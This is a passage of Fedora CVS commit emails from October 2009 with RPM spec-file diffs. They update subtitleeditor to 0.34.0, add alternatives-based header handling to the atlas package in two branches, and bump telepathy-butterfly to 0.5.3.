+++ sources	25 Oct 2009 21:03:44 -0000	1.7
@@ -1 +1 @@
-5e24cb090e2cfe9dc30cf8cc612e5468  subtitleeditor-0.30.0.tar.gz
+6ec20c5935721803e87437273b57a1b6  subtitleeditor-0.34.0.tar.gz


Index: subtitleeditor.spec
===================================================================
RCS file: /cvs/extras/rpms/subtitleeditor/devel/subtitleeditor.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- subtitleeditor.spec	27 Jul 2009 04:57:28 -0000	1.10
+++ subtitleeditor.spec	25 Oct 2009 21:03:44 -0000	1.11
@@ -1,14 +1,14 @@
 Name:           subtitleeditor
-Version:        0.30.0
-Release:        5%{?dist}
+Version:        0.34.0
+Release:        1%{?dist}
 Summary:        GTK+2 tool to edit subtitles for GNU/Linux/*BSD
 
 Group:          Applications/Multimedia
 License:        GPLv3+
 URL:            http://home.gna.org/subtitleeditor/
 Source0:        http://download.gna.org/subtitleeditor/0.30/%{name}-%{version}.tar.gz
-Patch0:         %{name}-%{version}-bug12649.patch
-Patch1:         %{name}-%{version}-sscanf.patch
+#Patch0:         %{name}-%{version}-bug12649.patch
+Patch1:         %{name}-0.30.0-sscanf.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
@@ -16,16 +16,16 @@ BuildRequires:  gettext
 BuildRequires:  gstreamer-devel
 BuildRequires:  gstreamer-plugins-good
 BuildRequires:  gstreamer-plugins-base-devel
-BuildRequires:  gtkmm24-devel
+BuildRequires:  gtkmm24-devel >= 2.14.0
 BuildRequires:  glibmm24-devel >= 2.16.3
-BuildRequires:  libglademm24-devel
-BuildRequires:  libxml++-devel
+#BuildRequires:  libglademm24-devel
+BuildRequires:  libxml++-devel >= 2.20
 BuildRequires:  intltool
 BuildRequires:  ccache
-BuildRequires:  libtool autoconf automake
+BuildRequires:  gstreamermm-devel >= 0.10.4
 
 # For spell checking (Optional)
-BuildRequires:  enchant-devel
+BuildRequires:  enchant-devel >= 1.4.0
 # For OpenGL waveform renderer (Optional)
 BuildRequires:  gtkglextmm-devel
 # ISO-CODES 639 + 3166 (Optional)
@@ -42,16 +42,16 @@ to synchronise subtitles to voices.
 
 %prep
 %setup -q
-%patch0 -p0
+#%patch0 -p0
 %patch1 -p1 -b .sscanf
 
 %build
-./autogen.sh
 %configure \
        --disable-debug \
        --disable-static \
        --enable-gl \
-       --enable-ccache
+       --enable-ccache 
+
 make %{?_smp_mflags}
 
 %install
@@ -95,6 +95,7 @@ fi
 %doc AUTHORS ChangeLog COPYING NEWS README TODO
 %{_bindir}/%{name}
 %{_datadir}/icons/hicolor/*/apps/%{name}.*
+%{_datadir}/pixmaps/%{name}.svg
 %{_datadir}/%{name}
 %{_datadir}/applications/fedora-%{name}.desktop
 %{_datadir}/man/man1/%{name}.1.*
@@ -102,6 +103,18 @@ fi
 %{_libdir}/%{name}
 
 %changelog
+* Sun Oct 25 2009 Martin Sourada <mso at fedoraproject.org> - 0.34.0-1
+- New release
+- supports pulsesink now
+- new plugin 'textcorrection'
+- new plugin 'keyframesmanagement'
+- spell checking plugin completely rewrite
+- find and replace plugin completely rewrite
+- libglademm -> Gtk::Builder
+- new translations
+- various bug fixes
+- fix for upstream bug #12649 has been included in tarbal
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.30.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From deji at fedoraproject.org  Sun Oct 25 21:06:23 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Sun, 25 Oct 2009 21:06:23 +0000 (UTC)
Subject: rpms/atlas/devel README.Fedora,1.3,1.4 atlas.spec,1.29,1.30
Message-ID: <20091025210623.E60EB11C00E5@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/atlas/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31208

Modified Files:
	README.Fedora atlas.spec 
Log Message:
* Sat Oct 24 2009 Deji Akingunola <dakingun at gmail.com> - 3.8.3-12
- Use alternatives to workaround multilib conflicts (BZ#508565). 



Index: README.Fedora
===================================================================
RCS file: /cvs/pkgs/rpms/atlas/devel/README.Fedora,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- README.Fedora	16 Dec 2008 05:20:14 -0000	1.3
+++ README.Fedora	25 Oct 2009 21:06:22 -0000	1.4
@@ -38,10 +38,14 @@ lapack libraries that should work as a d
 standard ones (they are installed in /usr/lib{64}/atlas* rather than
 /usr/lib{64}).
 
-For i386 systems, 3 ATLAS subpackages are built for SSE1, SSE2, and SSE3 ix86
-extensions, using architectural defaults obtained from PIII, Pentium 4 with
-SSE2 extension and PENTIUM 4 with SSE3 extensions respectively.
+For i386 systems, 4 ATLAS subpackages are built for 3Dnow, SSE1, SSE2, and SSE3
+ix86 extensions, using architectural defaults obtained from Athlon K7, PIII, Pentium 4 with SSE2 extension and PENTIUM 4 with SSE3 extensions respectively.
 
+This packaging allows multiple installation of different atlas sub-packages
+at the same time. The alternatives system (read 'man alternatives' for usage)
+is used in the -devel subpackages to select the appropriate location for the 
+architectural dependent header files.
+ 
 This package is designed to build RPMs that are identical regardless
 of where they are compiled and that provide reasonable performance on
 a wide range of hardware. For users who want optimal performance on
@@ -49,7 +53,7 @@ particular hardware, custom RPMs can be 
 by setting the RPM macro "enable_native_atlas" to a value of 1. This
 can be done from the command line as in the following example:
 
-rpmbuild -D "enable_native_atlas 1" --rebuild atlas-3.8.2-1.src.rpm
+rpmbuild -D "enable_native_atlas 1" --rebuild atlas-3.8.3-1.src.rpm
 
 This will cause the ATLAS build to use the achitectural default most
 appropriate for the system on which the package is to be built.


Index: atlas.spec
===================================================================
RCS file: /cvs/pkgs/rpms/atlas/devel/atlas.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- atlas.spec	27 Sep 2009 01:04:33 -0000	1.29
+++ atlas.spec	25 Oct 2009 21:06:22 -0000	1.30
@@ -2,7 +2,7 @@
 
 Name:           atlas
 Version:        3.8.3
-Release:        10%{?dist}
+Release:        12%{?dist}
 Summary:        Automatically Tuned Linear Algebra Software
 
 Group:          System Environment/Libraries
@@ -37,7 +37,9 @@ see the documentation for information.
 Summary:        Development libraries for ATLAS
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description devel
 This package contains the static libraries and headers for development
@@ -65,7 +67,9 @@ and SSE3 extensions.
 Summary:        Development libraries for ATLAS with 3DNow extensions
 Group:          Development/Libraries
 Requires:       %{name}-3dnow = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description 3dnow-devel
 This package contains headers and shared and static versions of the ATLAS
@@ -86,7 +90,9 @@ extensions.
 Summary:        Development libraries for ATLAS with SSE extensions
 Group:          Development/Libraries
 Requires:       %{name}-sse = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description sse-devel
 This package contains headers and shared and static versions of the ATLAS
@@ -107,7 +113,9 @@ SSE(1) and SSE3 extensions.
 Summary:        Development libraries for ATLAS with SSE2 extensions
 Group:          Development/Libraries
 Requires:       %{name}-sse2 = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description sse2-devel
 This package contains shared and static versions of the ATLAS
@@ -127,7 +135,9 @@ Fedora also produces ATLAS build with SS
 Summary:        Development libraries for ATLAS with 3DNow extensions
 Group:          Development/Libraries
 Requires:       %{name}-sse3 = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description sse3-devel
 This package contains shared and static versions of the ATLAS
@@ -137,12 +147,6 @@ optimizations for the sse3 extensions to
 %endif
 %endif
 
-%ifarch x86_64 ppc64 s390x
-%define mode 64
-%else
-%define mode 32
-%endif
-
 %prep
 %setup -q -n ATLAS
 %patch0 -p0 -b .shared
@@ -154,12 +158,13 @@ cp %{SOURCE3} doc
 for type in %{types}; do
 	if [ "$type" = "base" ]; then
 		libname=atlas
+		%define pr_base %(echo $((%{__isa_bits}+0)))
 	else
 		libname=atlas-${type}
 	fi
 	mkdir -p %{_arch}_${type}
 	pushd %{_arch}_${type}
-	../configure -b %{mode} -D c -DWALL -Fa alg '-g -Wa,--noexecstack -fPIC'\
+	../configure -b %{__isa_bits} -D c -DWALL -Fa alg '-g -Wa,--noexecstack -fPIC'\
 	--prefix=%{buildroot}%{_prefix}			\
 	--incdir=%{buildroot}%{_includedir}		\
 	--libdir=%{buildroot}%{_libdir}/${libname}	\
@@ -174,16 +179,20 @@ for type in %{types}; do
 		sed -i 's#ARCH =.*#ARCH = K7323DNow#' Make.inc
 		sed -i 's#-DATL_SSE3 -DATL_SSE2 -DATL_SSE1##' Make.inc 
 		sed -i 's#-mfpmath=sse -msse3#-mfpmath=387#' Make.inc 
+		%define pr_3dnow %(echo $((%{__isa_bits}+1)))
 	elif [ "$type" = "sse" ]; then
 		sed -i 's#ARCH =.*#ARCH = PIII32SSE1#' Make.inc
 		sed -i 's#-DATL_SSE3 -DATL_SSE2##' Make.inc 
 		sed -i 's#-msse3#-msse#' Make.inc 
+		%define pr_sse %(echo $((%{__isa_bits}+2)))
 	elif [ "$type" = "sse2" ]; then
 		sed -i 's#ARCH =.*#ARCH = P432SSE2#' Make.inc
 		sed -i 's#-DATL_SSE3##' Make.inc 
 		sed -i 's#-msse3#-msse2#' Make.inc 
+		%define pr_sse2 %(echo $((%{__isa_bits}+3)))
 	elif [ "$type" = "sse3" ]; then
 		sed -i 's#ARCH =.*#ARCH = P4E32SSE3#' Make.inc
+		%define pr_sse3 %(echo $((%{__isa_bits}+4)))
 	fi
 %endif
 	make build
@@ -198,6 +207,7 @@ rm -rf %{buildroot}
 for type in %{types}; do
 	pushd %{_arch}_${type}
 	make DESTDIR=%{buildroot} install
+        mv %{buildroot}%{_includedir}/atlas %{buildroot}%{_includedir}/atlas-%{_arch}-${type}
 	if [ "$type" = "base" ]; then
 		cp -pr lib/*.so* %{buildroot}%{_libdir}/atlas/
 	else
@@ -214,6 +224,8 @@ for type in %{types}; do
 		> %{buildroot}/etc/ld.so.conf.d/atlas-${type}.conf
 	fi
 done
+mkdir -p %{buildroot}%{_includedir}/atlas
+
 
 %clean
 rm -rf %{buildroot}
@@ -222,24 +234,79 @@ rm -rf %{buildroot}
 
 %postun -p /sbin/ldconfig
 
+%posttrans devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-base %{pr_base}
+fi
+
+%preun devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-base
+fi
+
 %ifarch %{ix86} && %if "%{?enable_native_atlas}" == "0"
 
 %post -n atlas-3dnow -p /sbin/ldconfig
 
 %postun -n atlas-3dnow -p /sbin/ldconfig
 
+%posttrans 3dnow-devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-3dnow  %{pr_3dnow}
+fi
+
+%preun 3dnow-devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-3dnow
+fi
+
 %post -n atlas-sse -p /sbin/ldconfig
 
 %postun -n atlas-sse -p /sbin/ldconfig
 
+%posttrans sse-devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-sse  %{pr_sse}
+fi
+
+%preun sse-devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-sse
+fi
+
 %post -n atlas-sse2 -p /sbin/ldconfig
 
 %postun -n atlas-sse2 -p /sbin/ldconfig
 
+%posttrans sse2-devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-sse2  %{pr_sse2}
+fi
+
+%preun sse2-devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-sse2
+fi
+
 %post -n atlas-sse3 -p /sbin/ldconfig
 
 %postun -n atlas-sse3 -p /sbin/ldconfig
 
+%posttrans sse3-devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-sse3  %{pr_sse3}
+fi
+
+%preun sse3-devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-sse3
+fi
+
 %endif
 
 %files
@@ -254,8 +321,9 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas/*.so
 %{_libdir}/atlas/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-base/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %ifarch %{ix86} && %if "%{?enable_native_atlas}" == "0"
 
@@ -271,8 +339,9 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas-3dnow/*.so
 %{_libdir}/atlas-3dnow/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-3dnow/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %files sse
 %defattr(-,root,root,-)
@@ -286,8 +355,9 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas-sse/*.so
 %{_libdir}/atlas-sse/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-sse/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %files sse2
 %defattr(-,root,root,-)
@@ -301,8 +371,9 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas-sse2/*.so
 %{_libdir}/atlas-sse2/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-sse2/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %files sse3
 %defattr(-,root,root,-)
@@ -316,12 +387,19 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas-sse3/*.so
 %{_libdir}/atlas-sse3/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-sse3/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %endif
 
 %changelog
+* Sat Oct 24 2009 Deji Akingunola <dakingun at gmail.com> - 3.8.3-12
+- Use alternatives to workaround multilib conflicts (BZ#508565). 
+
+* Tue Sep 29 2009 Deji Akingunola <dakingun at gmail.com> - 3.8.3-11
+- Obsolete the -header subpackage properly. 
+
 * Sat Sep 26 2009 Deji Akingunola <dakingun at gmail.com> - 3.8.3-10
 - Use the new arch. default for Pentium PRO (Fedora bug #510498)
 - (Re-)Introduce 3dNow subpackage



From deji at fedoraproject.org  Sun Oct 25 21:07:44 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Sun, 25 Oct 2009 21:07:44 +0000 (UTC)
Subject: rpms/atlas/F-12 README.Fedora,1.3,1.4 atlas.spec,1.29,1.30
Message-ID: <20091025210744.570BB11C00E5@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/atlas/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32016

Modified Files:
	README.Fedora atlas.spec 
Log Message:
* Sat Oct 24 2009 Deji Akingunola <dakingun at gmail.com> - 3.8.3-12
- Use alternatives to workaround multilib conflicts (BZ#508565). 



Index: README.Fedora
===================================================================
RCS file: /cvs/pkgs/rpms/atlas/F-12/README.Fedora,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- README.Fedora	16 Dec 2008 05:20:14 -0000	1.3
+++ README.Fedora	25 Oct 2009 21:07:43 -0000	1.4
@@ -38,10 +38,14 @@ lapack libraries that should work as a d
 standard ones (they are installed in /usr/lib{64}/atlas* rather than
 /usr/lib{64}).
 
-For i386 systems, 3 ATLAS subpackages are built for SSE1, SSE2, and SSE3 ix86
-extensions, using architectural defaults obtained from PIII, Pentium 4 with
-SSE2 extension and PENTIUM 4 with SSE3 extensions respectively.
+For i386 systems, 4 ATLAS subpackages are built for 3Dnow, SSE1, SSE2, and SSE3
+ix86 extensions, using architectural defaults obtained from Athlon K7, PIII, Pentium 4 with SSE2 extension and PENTIUM 4 with SSE3 extensions respectively.
 
+This packaging allows multiple installation of different atlas sub-packages
+at the same time. The alternatives system (read 'man alternatives' for usage)
+is used in the -devel subpackages to select the appropriate location for the 
+architectural dependent header files.
+ 
 This package is designed to build RPMs that are identical regardless
 of where they are compiled and that provide reasonable performance on
 a wide range of hardware. For users who want optimal performance on
@@ -49,7 +53,7 @@ particular hardware, custom RPMs can be 
 by setting the RPM macro "enable_native_atlas" to a value of 1. This
 can be done from the command line as in the following example:
 
-rpmbuild -D "enable_native_atlas 1" --rebuild atlas-3.8.2-1.src.rpm
+rpmbuild -D "enable_native_atlas 1" --rebuild atlas-3.8.3-1.src.rpm
 
 This will cause the ATLAS build to use the achitectural default most
 appropriate for the system on which the package is to be built.


Index: atlas.spec
===================================================================
RCS file: /cvs/pkgs/rpms/atlas/F-12/atlas.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- atlas.spec	27 Sep 2009 01:04:33 -0000	1.29
+++ atlas.spec	25 Oct 2009 21:07:43 -0000	1.30
@@ -2,7 +2,7 @@
 
 Name:           atlas
 Version:        3.8.3
-Release:        10%{?dist}
+Release:        12%{?dist}
 Summary:        Automatically Tuned Linear Algebra Software
 
 Group:          System Environment/Libraries
@@ -37,7 +37,9 @@ see the documentation for information.
 Summary:        Development libraries for ATLAS
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description devel
 This package contains the static libraries and headers for development
@@ -65,7 +67,9 @@ and SSE3 extensions.
 Summary:        Development libraries for ATLAS with 3DNow extensions
 Group:          Development/Libraries
 Requires:       %{name}-3dnow = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description 3dnow-devel
 This package contains headers and shared and static versions of the ATLAS
@@ -86,7 +90,9 @@ extensions.
 Summary:        Development libraries for ATLAS with SSE extensions
 Group:          Development/Libraries
 Requires:       %{name}-sse = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description sse-devel
 This package contains headers and shared and static versions of the ATLAS
@@ -107,7 +113,9 @@ SSE(1) and SSE3 extensions.
 Summary:        Development libraries for ATLAS with SSE2 extensions
 Group:          Development/Libraries
 Requires:       %{name}-sse2 = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description sse2-devel
 This package contains shared and static versions of the ATLAS
@@ -127,7 +135,9 @@ Fedora also produces ATLAS build with SS
 Summary:        Development libraries for ATLAS with 3DNow extensions
 Group:          Development/Libraries
 Requires:       %{name}-sse3 = %{version}-%{release}
-Obsoletes:	%name-header = %version-%release
+Obsoletes:	%name-header <= %version-%release
+Requires(posttans):	chkconfig
+Requires(preun):	chkconfig
 
 %description sse3-devel
 This package contains shared and static versions of the ATLAS
@@ -137,12 +147,6 @@ optimizations for the sse3 extensions to
 %endif
 %endif
 
-%ifarch x86_64 ppc64 s390x
-%define mode 64
-%else
-%define mode 32
-%endif
-
 %prep
 %setup -q -n ATLAS
 %patch0 -p0 -b .shared
@@ -154,12 +158,13 @@ cp %{SOURCE3} doc
 for type in %{types}; do
 	if [ "$type" = "base" ]; then
 		libname=atlas
+		%define pr_base %(echo $((%{__isa_bits}+0)))
 	else
 		libname=atlas-${type}
 	fi
 	mkdir -p %{_arch}_${type}
 	pushd %{_arch}_${type}
-	../configure -b %{mode} -D c -DWALL -Fa alg '-g -Wa,--noexecstack -fPIC'\
+	../configure -b %{__isa_bits} -D c -DWALL -Fa alg '-g -Wa,--noexecstack -fPIC'\
 	--prefix=%{buildroot}%{_prefix}			\
 	--incdir=%{buildroot}%{_includedir}		\
 	--libdir=%{buildroot}%{_libdir}/${libname}	\
@@ -174,16 +179,20 @@ for type in %{types}; do
 		sed -i 's#ARCH =.*#ARCH = K7323DNow#' Make.inc
 		sed -i 's#-DATL_SSE3 -DATL_SSE2 -DATL_SSE1##' Make.inc 
 		sed -i 's#-mfpmath=sse -msse3#-mfpmath=387#' Make.inc 
+		%define pr_3dnow %(echo $((%{__isa_bits}+1)))
 	elif [ "$type" = "sse" ]; then
 		sed -i 's#ARCH =.*#ARCH = PIII32SSE1#' Make.inc
 		sed -i 's#-DATL_SSE3 -DATL_SSE2##' Make.inc 
 		sed -i 's#-msse3#-msse#' Make.inc 
+		%define pr_sse %(echo $((%{__isa_bits}+2)))
 	elif [ "$type" = "sse2" ]; then
 		sed -i 's#ARCH =.*#ARCH = P432SSE2#' Make.inc
 		sed -i 's#-DATL_SSE3##' Make.inc 
 		sed -i 's#-msse3#-msse2#' Make.inc 
+		%define pr_sse2 %(echo $((%{__isa_bits}+3)))
 	elif [ "$type" = "sse3" ]; then
 		sed -i 's#ARCH =.*#ARCH = P4E32SSE3#' Make.inc
+		%define pr_sse3 %(echo $((%{__isa_bits}+4)))
 	fi
 %endif
 	make build
@@ -198,6 +207,7 @@ rm -rf %{buildroot}
 for type in %{types}; do
 	pushd %{_arch}_${type}
 	make DESTDIR=%{buildroot} install
+        mv %{buildroot}%{_includedir}/atlas %{buildroot}%{_includedir}/atlas-%{_arch}-${type}
 	if [ "$type" = "base" ]; then
 		cp -pr lib/*.so* %{buildroot}%{_libdir}/atlas/
 	else
@@ -214,6 +224,8 @@ for type in %{types}; do
 		> %{buildroot}/etc/ld.so.conf.d/atlas-${type}.conf
 	fi
 done
+mkdir -p %{buildroot}%{_includedir}/atlas
+
 
 %clean
 rm -rf %{buildroot}
@@ -222,24 +234,79 @@ rm -rf %{buildroot}
 
 %postun -p /sbin/ldconfig
 
+%posttrans devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-base %{pr_base}
+fi
+
+%preun devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-base
+fi
+
 %ifarch %{ix86} && %if "%{?enable_native_atlas}" == "0"
 
 %post -n atlas-3dnow -p /sbin/ldconfig
 
 %postun -n atlas-3dnow -p /sbin/ldconfig
 
+%posttrans 3dnow-devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-3dnow  %{pr_3dnow}
+fi
+
+%preun 3dnow-devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-3dnow
+fi
+
 %post -n atlas-sse -p /sbin/ldconfig
 
 %postun -n atlas-sse -p /sbin/ldconfig
 
+%posttrans sse-devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-sse  %{pr_sse}
+fi
+
+%preun sse-devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-sse
+fi
+
 %post -n atlas-sse2 -p /sbin/ldconfig
 
 %postun -n atlas-sse2 -p /sbin/ldconfig
 
+%posttrans sse2-devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-sse2  %{pr_sse2}
+fi
+
+%preun sse2-devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-sse2
+fi
+
 %post -n atlas-sse3 -p /sbin/ldconfig
 
 %postun -n atlas-sse3 -p /sbin/ldconfig
 
+%posttrans sse3-devel
+if [ $1 -eq 0 ] ; then
+/usr/sbin/alternatives	--install %{_includedir}/atlas atlas-inc 	\
+		%{_includedir}/atlas-%{_arch}-sse3  %{pr_sse3}
+fi
+
+%preun sse3-devel
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove atlas-inc %{_includedir}/atlas-%{_arch}-sse3
+fi
+
 %endif
 
 %files
@@ -254,8 +321,9 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas/*.so
 %{_libdir}/atlas/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-base/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %ifarch %{ix86} && %if "%{?enable_native_atlas}" == "0"
 
@@ -271,8 +339,9 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas-3dnow/*.so
 %{_libdir}/atlas-3dnow/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-3dnow/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %files sse
 %defattr(-,root,root,-)
@@ -286,8 +355,9 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas-sse/*.so
 %{_libdir}/atlas-sse/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-sse/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %files sse2
 %defattr(-,root,root,-)
@@ -301,8 +371,9 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas-sse2/*.so
 %{_libdir}/atlas-sse2/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-sse2/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %files sse3
 %defattr(-,root,root,-)
@@ -316,12 +387,19 @@ rm -rf %{buildroot}
 %doc doc
 %{_libdir}/atlas-sse3/*.so
 %{_libdir}/atlas-sse3/*.a
-%{_includedir}/atlas
+%{_includedir}/atlas-%{_arch}-sse3/
 %{_includedir}/*.h
+%ghost %{_includedir}/atlas
 
 %endif
 
 %changelog
+* Sat Oct 24 2009 Deji Akingunola <dakingun at gmail.com> - 3.8.3-12
+- Use alternatives to workaround multilib conflicts (BZ#508565). 
+
+* Tue Sep 29 2009 Deji Akingunola <dakingun at gmail.com> - 3.8.3-11
+- Obsolete the -header subpackage properly. 
+
 * Sat Sep 26 2009 Deji Akingunola <dakingun at gmail.com> - 3.8.3-10
 - Use the new arch. default for Pentium PRO (Fedora bug #510498)
 - (Re-)Introduce 3dNow subpackage



From bpepple at fedoraproject.org  Sun Oct 25 21:22:31 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Sun, 25 Oct 2009 21:22:31 +0000 (UTC)
Subject: rpms/telepathy-butterfly/devel .cvsignore, 1.13, 1.14 sources, 1.13,
	1.14 telepathy-butterfly.spec, 1.19, 1.20
Message-ID: <20091025212231.9DA7111C00E5@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-butterfly/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6313

Modified Files:
	.cvsignore sources telepathy-butterfly.spec 
Log Message:
* Sun Oct 25 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.5.3-1
- Update to 0.5.3.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-butterfly/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	20 Oct 2009 14:51:10 -0000	1.13
+++ .cvsignore	25 Oct 2009 21:22:30 -0000	1.14
@@ -1 +1 @@
-telepathy-butterfly-0.5.2.tar.gz
+telepathy-butterfly-0.5.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-butterfly/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	20 Oct 2009 14:51:10 -0000	1.13
+++ sources	25 Oct 2009 21:22:30 -0000	1.14
@@ -1 +1 @@
-41dc88d54e293756ab9d9315cf3d430c  telepathy-butterfly-0.5.2.tar.gz
+7908d14da99a99ba512a85f58b6bf631  telepathy-butterfly-0.5.3.tar.gz


Index: telepathy-butterfly.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-butterfly/devel/telepathy-butterfly.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- telepathy-butterfly.spec	20 Oct 2009 14:51:10 -0000	1.19
+++ telepathy-butterfly.spec	25 Oct 2009 21:22:30 -0000	1.20
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           telepathy-butterfly
